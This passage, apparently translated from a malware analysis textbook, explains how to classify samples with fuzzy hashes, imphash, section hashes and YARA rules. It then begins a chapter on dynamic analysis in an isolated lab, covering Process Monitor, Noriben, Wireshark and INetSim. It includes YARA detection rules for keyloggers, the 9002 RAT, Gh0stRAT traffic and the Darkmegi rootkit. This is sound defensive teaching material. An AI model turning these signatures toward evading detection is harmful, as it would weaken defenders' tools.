可执行文件还包含二进制数据;其中一个具有文件签名D0 CF 11 E0 A1 B1 1A E1。这组字节表示 Microsoft Office 文档文件的文件签名。在这种情况下,攻击者在资源部分存储了一个诱饵 Excel 表。在执行时,恶意软件在后台执行,并且这个诱饵 Excel 表显示给用户作为一种转移:

要将二进制文件保存到磁盘上,请右键单击要提取的资源,然后单击“保存资源”到*.bin 文件,如下面的屏幕截图所示。在这种情况下,资源被保存为sample.xls。下面的屏幕截图显示了将显示给用户的诱饵 Excel 表:

通过探索资源部分的内容,可以了解很多关于恶意软件特征的信息。

7. 比较和分类恶意软件

在进行恶意软件调查时,当您遇到一个恶意软件样本时,您可能想知道该恶意软件样本是否属于特定的恶意软件家族,或者它是否具有与先前分析的样本相匹配的特征。将可疑二进制文件与先前分析的样本或存储在公共或私人存储库中的样本进行比较,可以了解恶意软件家族、其特征以及与先前分析的样本的相似性。

虽然加密哈希(MD5/SHA1/SHA256)是一种检测相同样本的好方法,但它并不能帮助识别相似的样本。恶意软件作者经常改变恶意软件的微小方面,这会完全改变哈希值。以下部分描述了一些可以帮助比较和分类可疑二进制文件的技术:

7.1 使用模糊哈希分类恶意软件

模糊哈希是一种比较文件相似性的好方法。ssdeep (ssdeep.sourceforge.net)是一个有用的工具,用于为样本生成模糊哈希,还有助于确定样本之间的相似度百分比。这种技术在比较可疑二进制文件与存储库中的样本时非常有用,以识别相似的样本;这有助于识别属于相同恶意软件家族或相同行动者组的样本。

您可以使用ssdeep来计算和比较模糊哈希。在 Ubuntu Linux 虚拟机上安装ssdeep已在第一章中介绍过。要确定样本的模糊哈希,请运行以下命令:

$ ssdeep veri.exe
ssdeep,1.1--blocksize:hash:hash,filename
49152:op398U/qCazcQ3iEZgcwwGF0iWC28pUtu6On2spPHlDB:op98USfcy8cwF2bC28pUtsRptDB,"/home/ubuntu/Desktop/veri.exe"

为了演示模糊哈希的使用,让我们以一个包含三个恶意软件样本的目录为例。在下面的输出中,您可以看到所有三个文件具有完全不同的 MD5 哈希值:

$ ls
aiggs.exe jnas.exe veri.exe

$ md5sum *
48c1d7c541b27757c16b9c2c8477182b aiggs.exe
92b91106c108ad2cc78a606a5970c0b0 jnas.exe
ce9ce9fc733792ec676164fc5b2622f2 veri.exe

ssdeep 中的美观匹配模式(-p选项)可以用来确定相似度百分比。从以下输出可以看出,在三个样本中,有两个样本的相似度为 99%,这表明这两个样本可能属于同一恶意软件家族:

$ ssdeep -pb *
aiggs.exe matches jnas.exe (99)
jnas.exe matches aiggs.exe (99)

如前面的示例所示,加密哈希在确定样本之间的关系时并没有提供帮助,而模糊哈希技术则识别了样本之间的相似性。

你可能有一个包含多个恶意软件样本的目录。在这种情况下,可以使用递归模式(-r)在包含恶意软件样本的目录及其子目录上运行ssdeep,如这里所示:

$ ssdeep -lrpa samples/
samples//aiggs.exe matches samples//crop.exe (0)
samples//aiggs.exe matches samples//jnas.exe (99)

samples//crop.exe matches samples//aiggs.exe (0)
samples//crop.exe matches samples//jnas.exe (0)

samples//jnas.exe matches samples//aiggs.exe (99)
samples//jnas.exe matches samples//crop.exe (0)

你还可以将可疑的二进制文件与文件哈希列表进行匹配。在以下示例中,所有二进制文件的 ssdeep 哈希被重定向到一个文本文件(all_hashes.txt),然后将可疑二进制文件(blab.exe)与文件中的所有哈希进行匹配。从以下输出可以看出,可疑二进制文件(blab.exe)与jnas.exe完全相同(100% 匹配),并且与aiggs.exe的相似度为 99%。你可以使用这种技术将任何新文件与先前分析过的样本哈希进行比较:

$ ssdeep * > all_hashes.txt
$ ssdeep -m all_hashes.txt blab.exe
/home/ubuntu/blab.exe matches all_hashes.txt:/home/ubuntu/aiggs.exe (99)
/home/ubuntu/blab.exe matches all_hashes.txt:/home/ubuntu/jnas.exe (100)

在 Python 中,模糊哈希可以使用python-ssdeeppypi.python.org/pypi/ssdeep/3.2)计算。在第一章,恶意软件分析入门中介绍了如何在 Ubuntu Linux 虚拟机上安装python-ssdeep模块。要计算和比较模糊哈希,可以在脚本中使用以下命令:

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
>>> import ssdeep
>>> hash1 = ssdeep.hash_from_file('jnas.exe')
>>> print hash1
384:l3gexUw/L+JrgUon5b9uSDMwE9Pfg6NgrWoBYi51mRvR6JZlbw8hqIusZzZXe:pIAKG91Dw1hPRpcnud
>>> hash2 = ssdeep.hash_from_file('aiggs.exe')
>>> print hash2
384:l3gexUw/L+JrgUon5b9uSDMwE9Pfg6NgrWoBYi51mRvR6JZlbw8hqIusZzZWe:pIAKG91Dw1hPRpcnu+
>>> ssdeep.compare(hash1, hash2)
99
>>> 

7.2 使用导入哈希分类恶意软件

导入哈希是另一种可以用来识别相关样本和同一威胁行为者组使用的样本的技术。导入哈希(或imphash)是一种通过计算基于库/导入函数(API)名称及其在可执行文件中特定顺序的哈希值的技术。如果文件是从相同的源代码编译的,并且采用相同的方式,那么这些文件的imphash值通常会相同。在你的恶意软件调查中,如果你遇到具有相同 imphash 值的样本,说明它们具有相同的导入地址表,很可能是相关的。

有关导入哈希的详细信息,以及如何使用它来追踪威胁行为者组,请阅读www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html

当你将一个可执行文件加载到pestudio时,它会计算出 imphash,如此处所示:

在 Python 中,可以使用pefile模块生成 imphash。以下 Python 脚本以样本为输入并计算其 imphash:

import pefile
import sys

pe = pefile.PE(sys.argv[1])
print pe.get_imphash()

运行前面的脚本对恶意软件样本进行处理后,输出结果如下:

$ python get_imphash.py 5340.exe
278a52c6b04fae914c4965d2b4fdec86

你还应该查看blog.jpcert.or.jp/2016/05/classifying-mal-a988.html,该页面详细介绍了使用导入 API 和模糊哈希技术(impfuzzy)来分类恶意软件样本的内容。

为了演示导入哈希的使用,我们以来自同一威胁团体的两个样本为例。在以下输出中,样本具有不同的加密哈希值(MD5),但这些样本的 impash 是相同的;这表明它们可能是从相同的源编译的,并且以相同的方式进行编译:

$ md5sum *
3e69945e5865ccc861f69b24bc1166b6 maxe.exe
1f92ff8711716ca795fbd81c477e45f5 sent.exe

$ python get_imphash.py samples/maxe.exe
b722c33458882a1ab65a13e99efe357e
$ python get_imphash.py samples/sent.exe
b722c33458882a1ab65a13e99efe357e

拥有相同 imphash 的文件不一定来自同一威胁组;你可能需要从各种来源关联信息来分类你的恶意软件。例如,恶意软件样本可能是使用一个在不同团体之间共享的通用构建工具生成的;在这种情况下,样本可能会有相同的 imphash

7.3 使用部分哈希分类恶意软件

类似于导入哈希,部分哈希也可以帮助识别相关的样本。当可执行文件在 pestudio 中加载时,它会计算每个部分的 MD5.text.data.rdata 等)。要查看部分哈希,请点击部分,如下所示:

在 Python 中,可以使用 pefile 模块来确定各个部分的哈希值,如下所示:

>>> import pefile
>>> pe = pefile.PE("5340.exe")
>>> for section in pe.sections:
...     print "%s\t%s" % (section.Name, section.get_hash_md5())
... 
.text b1b56e7a97ec95ed093fd6cfdd594f6c
.rdata a7dc36d3f527ff2e1ff7bec3241abf51
.data 8ec812e17cccb062515746a7336c654a
.rsrc 405d2a82e6429de8637869c5514b489c

在分析恶意软件样本时,你应该考虑为恶意二进制文件生成模糊哈希、imphash 和部分哈希,并将它们存储在一个存储库中;这样,当你遇到一个新的样本时,可以将其与这些哈希进行比较,以确定相似性。

7.4 使用 YARA 分类恶意软件

恶意软件样本可以包含许多字符串或二进制指示符;识别对恶意软件样本或恶意软件家族独特的字符串或二进制数据有助于恶意软件的分类。安全研究人员根据二进制文件中包含的独特字符串和二进制指示符来分类恶意软件。有时,恶意软件也可以根据一般特征进行分类。

YARA (virustotal.github.io/yara/) 是一款强大的恶意软件识别和分类工具。恶意软件研究人员可以根据恶意软件样本中包含的文本或二进制信息创建 YARA 规则。这些 YARA 规则由一组字符串和一个布尔表达式组成,布尔表达式决定其逻辑。一旦编写了规则,你可以使用这些规则通过 YARA 工具扫描文件,或者使用 yara-python 将其与其他工具集成。本书不会涵盖编写 YARA 规则的所有细节,但包含了足够的信息,帮助你入门。有关编写 YARA 规则的详细信息,请阅读 YARA 文档(yara.readthedocs.io/en/v3.7.0/writingrules.html)。

7.4.1 安装 YARA

你可以从(virustotal.github.io/yara/)下载并安装YARA。在第一章中介绍了在 Ubuntu Linux 虚拟机上安装 YARA 的过程,恶意软件分析入门。如果你希望在其他操作系统上安装 YARA,请参阅安装文档:yara.readthedocs.io/en/v3.3.0/gettingstarted.html

7.4.2 YARA 规则基础

安装完成后,下一步是创建 YARA 规则;这些规则可以是通用的或非常具体的,可以使用任何文本编辑器创建。为了理解 YARA 规则的语法,我们来看一个简单的 YARA 规则示例,它查找任何文件中的可疑字符串,如下所示:

rule suspicious_strings
{ 
strings:
    $a = "Synflooding"
    $b = "Portscanner"
    $c = "Keylogger"

condition:
    ($a or $b or $c)
}

YARA 规则由以下组件组成:

  • 规则标识符: 这是描述规则的名称(在前面的示例中为suspicious_strings)。规则标识符可以包含任何字母数字字符和下划线字符,但第一个字符不能是数字。规则标识符是区分大小写的,且不能超过 128 个字符。

  • 字符串定义: 这是定义将成为规则一部分的字符串(文本、十六进制或正则表达式)所在的部分。如果规则不依赖于任何字符串,可以省略此部分。每个字符串都有一个标识符,由一个$字符后跟一串字母数字字符和下划线组成。在前面的规则中,$a$b$c可以看作是包含值的变量。这些变量随后将在条件部分中使用。

  • 条件部分: 这不是一个可选部分,逻辑部分就在这里。此部分必须包含一个布尔表达式,指定规则匹配或不匹配的条件。

7.4.3 运行 YARA

一旦准备好规则,下一步是使用 yara 工具根据 YARA 规则扫描文件。在前面的示例中,规则查找了三个可疑字符串(分别定义在$a$b$c中),并且根据条件,如果文件中存在任何一个字符串,规则就会匹配。该规则保存为suspicious.yara,并且对包含恶意软件样本的目录运行 yara 时,返回了两个符合该规则的恶意软件样本:

$ yara -r suspicious.yara samples/
suspicious_strings samples//spybot.exe
suspicious_strings samples//wuamqr.exe

默认情况下,前面的 YARA 规则将匹配 ASCII 字符串,并执行区分大小写的匹配。如果你希望规则同时检测 ASCII 和 Unicode(宽字符)字符串,那么可以在字符串旁边指定asciiwide修饰符。nocase修饰符将执行不区分大小写的匹配(即,它会匹配 Synflooding、synflooding、sYnflooding 等)。修改后的规则以实现不区分大小写的匹配,并查找 ASCII 和 Unicode 字符串,如下所示:

rule suspicious_strings
{
strings:
    $a = "Synflooding" ascii wide nocase
    $b = "Portscanner" ascii wide nocase
    $c = "Keylogger"   ascii wide nocase
condition:
    ($a or $b or $c)
}

运行上述规则检测到包含 ASCII 字符串的两个可执行文件,它还识别了一个包含 Unicode 字符串的文档(test.doc):

$ yara suspicious.yara samples/
suspicious_strings samples//test.doc
suspicious_strings samples//spybot.exe
suspicious_strings samples//wuamqr.exe

上述规则匹配任何包含这些 ASCII 和 Unicode 字符串的文件。它检测到的文档(test.doc)是一个合法文档,且其内容包含了这些字符串。

如果你打算在可执行文件中查找字符串,可以像下面这样创建规则。在以下规则中,条件中的$mz0处指定 YARA 在文件开头查找签名4D 5A(PE 文件的前两个字节);这确保只有 PE 可执行文件会触发该签名。文本字符串用双引号括起来,而十六进制字符串则用大括号括起来,如$mz变量中的情况:

rule suspicious_strings
{
strings:
    $mz = {4D 5A}
    $a = "Synflooding" ascii wide nocase
    $b = "Portscanner" ascii wide nocase
    $c = "Keylogger" ascii wide nocase
condition:
    ($mz at 0) and ($a or $b or $c)
}

现在,运行上述规则只检测到可执行文件:

$ yara -r suspicious.yara samples/
suspicious_strings samples//spybot.exe
suspicious_strings samples//wuamqr.exe

7.4.4 YARA 的应用

让我们再看一个例子,使用的是第 6.5 节中曾经使用过的样本,检查 PE 资源。该样本(5340.exe)将一个诱饵 Excel 文档存储在它的资源区段;一些恶意软件程序会存储诱饵文档,以便在执行时向用户展示。以下 YARA 规则检测包含嵌入的 Microsoft Office 文档的可执行文件。如果在文件中偏移量大于1024字节处找到十六进制字符串(跳过 PE 头),并且filesize指定文件末尾,则触发规则:

rule embedded_office_document
{
meta:
description = "Detects embedded office document"

strings:
    $mz = { 4D 5A }
    $a = { D0 CF 11 E0 A1 B1 1A E1 }
condition:
    ($mz at 0) and $a in (1024..filesize)
}

运行上述 YARA 规则只检测到包含嵌入 Excel 文档的样本:

$ yara -r embedded_doc.yara samples/
embedded_office_document samples//5340.exe

以下示例通过数字证书的序列号来检测名为9002 RAT的恶意软件样本。RAT 9002 使用了序列号为45 6E 96 7A 81 5A A5 CB B9 9F B8 6A CA 8F 7F 69的数字证书(blog.cylance.com/another-9002-trojan-variant)。这个序列号可以作为签名,用来检测拥有相同数字证书的样本:

rule mal_digital_cert_9002_rat
{
meta:
    description = "Detects malicious digital certificates used by RAT 9002"
    ref = "http://blog.cylance.com/another-9002-trojan-variant"

strings:
    $mz = { 4D 5A }
    $a = { 45 6e 96 7a 81 5a a5 cb b9 9f b8 6a ca 8f 7f 69 }

condition:
    ($mz at 0) and ($a in (1024..filesize))
}

运行该规则检测到所有具有相同数字证书的样本,所有这些样本最终都被确定为RAT 9002样本:

$ yara -r digi_cert_9002.yara samples/
mal_digital_cert_9002_rat samples//ry.dll
mal_digital_cert_9002_rat samples//rat9002/Mshype.dll
mal_digital_cert_9002_rat samples//rat9002/bmp1f.exe

YARA 规则也可以用来检测打包器。在第五部分确定文件混淆中,我们讨论了如何使用Exeinfo PE工具来检测打包器。Exeinfo PE使用存储在名为userdb.txt的纯文本文件中的签名。以下是Exeinfo PE用于检测UPX打包器的示例签名格式:

[UPX 2.90 (LZMA)]
signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB
ep_only = true

上述签名中的ep_only=true意味着Exeinfo PE只应在程序入口点的地址处检查签名(即代码开始执行的地方)。上述签名可以转换为 YARA 规则。YARA 的新版本支持PE模块,它允许你使用 PE 文件格式的属性和特征来创建针对 PE 文件的规则。如果你使用的是 YARA 的新版本,Exeinfo PE 签名可以转化为如下所示的 YARA 规则:

import "pe"
rule UPX_290_LZMA
{
meta:
    description = "Detects UPX packer 2.90"
    ref = "userdb.txt file from the Exeinfo PE"

strings:
    $a = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB }

condition:
    $a at pe.entry_point
} 

如果您使用不支持 PE 模块的旧版本的 YARA,则使用以下规则:

rule UPX_290_LZMA
{
meta:
    description = "Detects UPX packer 2.90"
    ref = "userdb.txt file from the Exeinfo PE"

strings:
    $a = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB }

condition:
    $a at entrypoint
} 

现在,在样本目录上运行一个 yara 规则,检测到使用 UPX 打包的样本:

$ yara upx_test_new.yara samples/
UPX_290_LZMA samples//olib.exe
UPX_290_LZMA samples//spybot_packed.exe

使用上述方法,Exeinfo PE 的userdb.txt中的所有打包器签名都可以转换为 YARA 规则。

PEiD 是另一个检测打包器的工具(此工具不再受支持);它将签名存储在文本文件UserDB.txt中。由 Matthew Richard 编写的 Python 脚本peid_to_yara.py(Malware Analyst's Cookbook 的一部分)和 Didier Steven 的peid-userdb-to-yara-rules.pygithub.com/DidierStevens/DidierStevensSuite/blob/master/peid-userdb-to-yara-rules.py)将UserDB.txt签名转换为 YARA 规则。

YARA 可用于检测任何文件中的模式。以下 YARA 规则可检测不同变种的Gh0stRAT恶意软件的通信:

rule Gh0stRat_communications
{
meta:
Description = "Detects the Gh0stRat communication in Packet Captures"

strings:
$gst1 = {47 68 30 73 74 ?? ?? 00 00 ?? ?? 00 00 78 9c}
$gst2 = {63 62 31 73 74 ?? ?? 00 00 ?? ?? 00 00 78 9c}
$gst3 = {30 30 30 30 30 30 30 30 ?? ?? 00 00 ?? ?? 00 00 78 9c}
$gst4 = {45 79 65 73 32 ?? ?? 00 00 ?? ?? 00 00 78 9c}
$gst5 = {48 45 41 52 54 ?? ?? 00 00 ?? ?? 00 00 78 9c}
$any_variant = /.{5,16}\x00\x00..\x00\x00\x78\x9c/

condition:
any of ($gst*) or ($any_variant)
}

在包含网络数据包捕获(pcaps)的目录上运行上述规则,检测到一些 pcaps 中的 GhostRAT 模式,如下所示:

$ yara ghost_communications.yara pcaps/
Gh0stRat_communications pcaps//Gh0st.pcap
Gh0stRat_communications pcaps//cb1st.pcap
Gh0stRat_communications pcaps//HEART.pcap

分析恶意软件后,您可以创建签名以识别其组件;以下代码显示了一个检测Darkmegi Rootkit驱动程序和 DLL 组件的示例 YARA 规则:

rule Darkmegi_Rootkit
{
meta:
Description = "Detects the kernel mode Driver and Dll component of Darkmegi/waltrodock rootkit"

strings:
$drv_str1 = "com32.dll"
$drv_str2 = /H:\\RKTDOW~1\\RKTDRI~1\\RKTDRI~1\\objfre\\i386\\RktDriver.pdb/
$dll_str1 = "RktLibrary.dll"
$dll_str2 = /\\\\.\\NpcDark/
$dll_str3 = "RktDownload"
$dll_str4 = "VersionKey.ini"

condition:
(all of them) or (any of ($drv_str*)) or (any of ($dll_str*))
}

在分析单个Darkmegi样本后创建了上述规则;然而,在包含恶意软件样本的目录上运行上述规则,检测到所有与模式匹配的Darkmegi rootkit 样本:

$ yara darkmegi.yara samples/
Darkmegi_Rootkit samples//63713B0ED6E9153571EB5AEAC1FBB7A2
Darkmegi_Rootkit samples//E7AB13A24081BFFA21272F69FFD32DBF-
Darkmegi_Rootkit samples//0FC4C5E7CD4D6F76327D2F67E82107B2
Darkmegi_Rootkit samples//B9632E610F9C91031F227821544775FA
Darkmegi_Rootkit samples//802D47E7C656A6E8F4EA72A6FECD95CF
Darkmegi_Rootkit samples//E7AB13A24081BFFA21272F69FFD32DBF
[......................REMOVED..............................]

YARA 是一个强大的工具;创建 YARA 规则以扫描已知样本库可以识别和分类具有相同特征的样本。

在规则中使用的字符串可能会产生误报。测试您的签名与已知良好文件,并考虑可能触发误报的情况是个好主意。要编写健壮的 YARA 规则,请阅读www.bsk-consulting.de/2015/02/16/write-simple-sound-yara-rules/。要生成 YARA 规则,您可以考虑使用 Florian Roth 的yarGengithub.com/Neo23x0/yarGen)或 Joe Security 的 YARA 规则生成器(www.yara-generator.net/)。

摘要

静态分析是恶意软件分析的第一步;它允许您从二进制文件中提取有价值的信息,并有助于比较和分类恶意软件样本。本章向您介绍了各种工具和技术,使用这些工具和技术可以确定恶意软件二进制的不同方面,而无需执行它。在下一章节动态分析中,您将学习如何通过在隔离环境中执行来确定恶意软件的行为。

第三章:动态分析

动态分析(行为分析)涉及通过在隔离环境中执行样本并监控其活动、交互和对系统的影响来分析样本。在上一章中,你学习了不执行嫌疑二进制文件的情况下检查其不同方面的工具、概念和技术。在本章中,我们将基于这些信息,通过动态分析进一步探索嫌疑二进制文件的性质、目的和功能。

你将学习以下主题:

  • 动态分析工具及其功能

  • 模拟互联网服务

  • 动态分析所涉及的步骤

  • 监控恶意软件活动并理解其行为

1. 实验环境概述

在进行动态分析时,你将执行恶意软件样本,因此你需要有一个安全的实验环境,以防止生产系统受到感染。为了演示这些概念,我将使用在第一章中配置的隔离实验环境,恶意软件分析简介。下图展示了用于执行动态分析的实验环境,且本书中整个实验过程都使用相同的实验架构:

在此设置中,Linux 和 Windows 虚拟机都被配置为使用仅主机网络配置模式。Linux 虚拟机的 IP 地址预配置为192.168.1.100,而 Windows 虚拟机的 IP 地址设置为192.168.1.50。Windows 虚拟机的默认网关和 DNS 设置为 Linux 虚拟机的 IP 地址(192.168.1.100),因此所有 Windows 网络流量都通过 Linux 虚拟机路由。

Windows 虚拟机将在分析过程中用于执行恶意软件样本,Linux 虚拟机将用于监控网络流量,并配置为模拟互联网服务(如 DNS、HTTP 等),以便在恶意软件请求这些服务时提供适当的响应。

2. 系统和网络监控

当恶意软件被执行时,它可以以多种方式与系统交互并执行不同的活动。例如,执行时,恶意软件可能会生成子进程,在文件系统中丢弃附加文件,为其持久性创建注册表键值,下载其他组件或从命令和控制服务器获取命令。监控恶意软件与系统和网络的交互有助于更好地了解恶意软件的性质和目的。

在动态分析过程中,当恶意软件被执行时,你将进行各种监控活动。其目标是收集与恶意软件行为及其对系统影响相关的实时数据。以下列表概述了动态分析过程中进行的不同类型的监控活动:

  • 进程监控:在恶意软件执行过程中,监控进程活动并检查结果进程的属性。

  • 文件系统监控:包括监控恶意软件执行期间的实时文件系统活动。

  • 注册表监控:涉及监控恶意二进制文件访问/修改的注册表键以及正在读取/写入的注册表数据。

  • 网络监控:涉及监控恶意软件执行期间系统进出流量的实时情况。

前述监控活动有助于收集与恶意软件行为相关的主机和网络信息。接下来的章节将介绍这些活动的实际应用。在下一节中,您将了解可以用于执行这些监控活动的各种工具。

3. 动态分析(监控)工具

在执行动态分析之前,了解您将使用的工具来监控恶意软件行为是至关重要的。本章及整本书将涵盖各种恶意软件分析工具。如果您按照第一章中的说明设置了实验环境,您可以将这些工具下载到您的主机机器上,然后将这些工具传输/安装到虚拟机中,并拍摄一个全新的、干净的快照。

本节介绍了各种动态分析工具及其一些功能。稍后在本章中,您将了解如何使用这些工具来监控恶意软件执行过程中的行为。您需要以管理员权限运行这些工具;可以通过右键单击可执行文件并选择“以管理员身份运行”来实现。在阅读过程中,建议您运行这些工具,并熟悉它们的功能。

3.1 使用 Process Hacker 检查进程

Process Hackerprocesshacker.sourceforge.net/)是一个开源的多功能工具,帮助监控系统资源。它是检查系统上正在运行的进程并检查进程属性的绝佳工具。它还可以用于探索服务、网络连接、磁盘活动等。

一旦恶意软件样本执行,该工具可以帮助您识别新创建的恶意软件进程(其进程名称和进程 ID),通过右键单击进程名称并选择“属性”,您可以检查各种进程属性。您还可以右键单击进程并终止它。

以下截图展示了 Process Hacker 列出系统上所有正在运行的进程,以及wininit.exe的属性:

3.2 使用 Process Monitor 确定系统与恶意软件的交互

Process Monitortechnet.microsoft.com/en-us/sysinternals/processmonitor.aspx)是一个高级监控工具,展示了进程与文件系统、注册表及进程/线程活动的实时交互。

当你运行这个工具(以管理员身份运行)时,你会立刻注意到它会捕获所有系统事件,如下图所示。要停止捕获事件,可以按 Ctrl + E,要清除所有事件,可以按 Ctrl + X。下图展示了在干净系统上由进程监视器捕获的活动:

从进程监视器捕获的事件中,你可以看到即使是干净系统也会产生大量活动。在进行恶意软件分析时,你只会对恶意软件产生的活动感兴趣。为了减少噪音,你可以使用过滤功能来隐藏不需要的条目,并根据特定属性进行过滤。要访问此功能,选择过滤器菜单,然后点击过滤(或按 Ctrl + L)。在下面的截图中,过滤器被配置为仅显示与进程svchost.exe相关的事件:

3.3 使用 Noriben 记录系统活动

虽然进程监视器是一个监控恶意软件与系统交互的好工具,但它可能会产生大量噪音,需要手动努力去过滤这些噪音。Noribengithub.com/Rurik/Noriben)是一个与进程监视器配合使用的 Python 脚本,帮助收集、分析和报告恶意软件的运行时指标。使用 Noriben 的优点是它提供了预定义的过滤器,帮助减少噪音,让你可以专注于与恶意软件相关的事件。

要使用 Noriben,首先下载它到你的 Windows 虚拟机中,将其解压到一个文件夹,然后将进程监视器(Procmon.exe)复制到同一个文件夹中,最后运行 Noriben.py Python 脚本,如下图所示:

当你运行Noriben时,它会启动进程监视器。一旦监控完成,你可以通过按 Ctrl + C 停止 Noriben,这将终止进程监视器。终止后,Noriben 会将结果存储在同一目录中的文本文件.txt)和CSV 文件.csv)中。文本文件将根据类别(如进程、文件、注册表和网络活动)将事件分隔成不同部分,如下图所示。还需注意,事件数量大大减少,因为它应用了预定义的过滤器,减少了大部分不必要的噪音:

CSV 文件包含按时间轴排序的所有事件(进程、文件、注册表和网络活动),如下面的截图所示:

文本文件CSV文件可以提供不同的视角。如果你对基于类别的事件摘要感兴趣,可以查看文本文件;如果你对事件发生的顺序感兴趣,可以查看CSV文件。

3.4 使用 Wireshark 捕获网络流量

当恶意软件执行时,你将希望捕获由恶意软件运行所产生的网络流量;这将帮助你了解恶意软件使用的通信通道,并帮助确定基于网络的指示器。Wiresharkwww.wireshark.org/)是一款数据包嗅探器,可以捕获网络流量。在第一章,恶意软件分析简介中介绍了如何在Linux 虚拟机上安装 Wireshark。要在 Linux 上启动 Wireshark,请运行以下命令:

$ sudo wireshark

要开始在网络接口上捕获流量,点击捕获 | 选项(或按Ctrl + K),选择网络接口,然后点击开始:

3.5 使用 INetSim 模拟服务

大多数恶意软件在执行时会连接到互联网(命令与控制服务器),而允许恶意软件连接到其 C2 服务器并不是一个好主意,而且有时这些服务器可能不可用。在恶意软件分析过程中,你需要在不允许恶意软件与实际的命令与控制(C2)服务器联系的情况下,确定恶意软件的行为,但同时,你需要提供恶意软件所需的所有服务,以便它能继续操作。

INetSim 是一个免费的基于 Linux 的软件套件,用于模拟标准的互联网服务(如 DNS、HTTP/HTTPS 等)。在第一章,恶意软件分析简介中介绍了如何在Linux 虚拟机上安装和配置INetSim。启动INetSim后,它会模拟各种服务,如下所示的输出所示,并且它还运行一个处理定向到非标准端口的虚拟服务:

$ sudo inetsim
INetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg
Using log directory: /var/log/inetsim/
Using data directory: /var/lib/inetsim/
Using report directory: /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 2758) ===
Session ID: 2758
Listening on: 192.168.1.100
Real Date/Time: 2017-07-09 20:56:44
Fake Date/Time: 2017-07-09 20:56:44 (Delta: 0 seconds)
 Forking services...
  * irc_6667_tcp - started (PID 2770)
  * dns_53_tcp_udp - started (PID 2760)
  * time_37_udp - started (PID 2776)
  * time_37_tcp - started (PID 2775)
  * dummy_1_udp - started (PID 2788)
  * smtps_465_tcp - started (PID 2764)
  * dummy_1_tcp - started (PID 2787)
  * pop3s_995_tcp - started (PID 2766)
  * ftp_21_tcp - started (PID 2767)
  * smtp_25_tcp - started (PID 2763)
  * ftps_990_tcp - started (PID 2768)
  * pop3_110_tcp - started (PID 2765)
  [...............REMOVED.
..............]
  * http_80_tcp - started (PID 2761)
  * https_443_tcp - started (PID 2762)
 done.
Simulation running.

除了模拟服务,INetSim还可以记录通信,并且可以配置为响应 HTTP/HTTPS 请求,并根据扩展名返回任何文件。例如,如果恶意软件从 C2 服务器请求一个可执行文件(.exe),INetSim可以向恶意软件返回一个虚拟的可执行文件。通过这种方式,你可以了解恶意软件在从 C2 服务器下载可执行文件后会做什么。

以下示例演示了INetSim的使用。在这个例子中,一个恶意软件样本在Windows 虚拟机上执行,并且在Linux 虚拟机上使用Wireshark捕获网络流量,未启用INetSim。以下截图显示了 Wireshark 捕获的流量。它显示了被感染的 Windows 系统(192.168.1.50)首先尝试通过解析 C2 域名与 C2 服务器通信,但由于我们的 Linux 虚拟机没有运行 DNS 服务器,该域名无法解析(如端口不可达消息所示):

这次,恶意软件被执行,网络流量通过运行 INetSim(模拟服务)的 Linux 虚拟机捕获。从下图可以看到,恶意软件首先解析 C2 域名,解析结果为 Linux 虚拟机的 IP 地址192.168.1.100。解析完成后,恶意软件通过 HTTP 通信下载文件(settings.ini):

从下图可以看到,HTTP 响应是由 INetSim 模拟的 HTTP 服务器提供的。在这种情况下,HTTP 请求中的User-Agent字段表明标准浏览器并未发起该通信,这样的指示可以用于创建网络签名:

通过模拟服务,成功确定恶意软件在执行后会从 C2 服务器下载文件。像 INetSim 这样的工具可以让安全分析师快速确定恶意软件的行为,并捕获其网络流量,而无需手动配置所有服务(如 DNS、HTTP 等)。

另一个替代INetSim的工具是FakeNet-NGgithub.com/fireeye/flare-fakenet-ng),它可以通过模拟网络服务来拦截并重定向所有或特定的网络流量。

4. 动态分析步骤

在动态分析(行为分析)过程中,你将遵循一系列步骤来确定恶意软件的功能。以下是动态分析过程中涉及的步骤:

  • 恢复到干净的快照:这包括将虚拟机恢复到干净的状态。

  • 运行监控/动态分析工具:在此步骤中,你将在执行恶意软件样本之前运行监控工具。为了充分利用前一部分所介绍的监控工具,你需要以管理员权限运行它们。

  • 执行恶意软件样本:在此步骤中,你将以管理员权限运行恶意软件样本。

  • 停止监控工具:这包括在恶意软件二进制文件执行指定时间后终止监控工具。

  • 分析结果:这包括收集监控工具的数据/报告并对其进行分析,以确定恶意软件的行为和功能。

5. 将一切整合起来:分析恶意软件可执行文件

一旦你了解了动态分析工具和动态分析过程中涉及的步骤,这些工具可以结合使用,以从恶意软件样本中提取最大的信息。在本节中,我们将执行静态和动态分析,以确定恶意软件样本(sales.exe)的特征和行为。

5.1 样本的静态分析

我们将从静态分析开始检查恶意软件样本。在静态分析中,由于恶意软件样本没有执行,因此可以在 Linux 虚拟机Windows 虚拟机 上执行,使用在 第二章 静态分析 中讨论的工具和技术。我们将从确定 文件类型加密哈希 开始。根据以下输出,恶意软件二进制文件是一个 32 位的可执行文件:

$ file sales.exe 
sales.exe: PE32 executable (GUI) Intel 80386, for MS Windows
$ md5sum sales.exe
51d9e2993d203bd43a502a2b1e1193da sales.exe

使用 strings 工具从二进制文件中提取的 ASCII 字符串包含一组批处理命令的引用,看起来像是删除文件的命令。这些字符串还显示了对批处理文件(_melt.bat)的引用,这表明在执行时,恶意软件可能会创建一个批处理(.bat)文件并执行这些批处理命令。这些字符串还引用了 RUN 注册表键;这很有趣,因为大多数恶意软件会在 RUN 注册表键中添加一个条目,以便在重启后仍能保持在系统中:

